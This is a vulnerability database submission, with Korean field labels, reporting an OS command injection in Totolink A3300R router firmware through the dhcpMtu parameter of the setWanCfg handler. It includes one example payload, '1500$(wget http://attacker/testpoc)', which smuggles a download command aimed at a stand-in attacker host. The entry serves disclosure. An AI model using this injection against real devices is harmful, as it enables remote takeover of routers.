| 제목 | Totolink A3300R V17.0.0cu.557_B20221024 OS Command Injection |
|---|
| 설명 | A command injection vulnerability exists in /cgi-bin/cstecgi.cgi when handling topicurl=setWanCfg. The dhcpMtu parameter is copied into a system command through Uci_Set_Str and command formatting logic (sprintf), then executed via CsteSystem/execv without proper sanitization. A crafted value such as 1500$(wget http://attacker/testpoc) can trigger arbitrary command execution on the device. |
|---|
| 원천 | ⚠️ https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-dhcp-mtu-cmd-injection |
|---|
| 사용자 | Svigo_o (UID 95970) |
|---|
| 제출 | 2026. 03. 30. AM 04:54 (6 개월 ago) |
|---|
| 모더레이션 | 2026. 04. 06. AM 11:42 (7 days later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 250459 [Totolink A3300R 17.0.0cu.557_B20221024 setWanCfg hostName 권한 상승] |
|---|
| 포인트들 | 0 |
|---|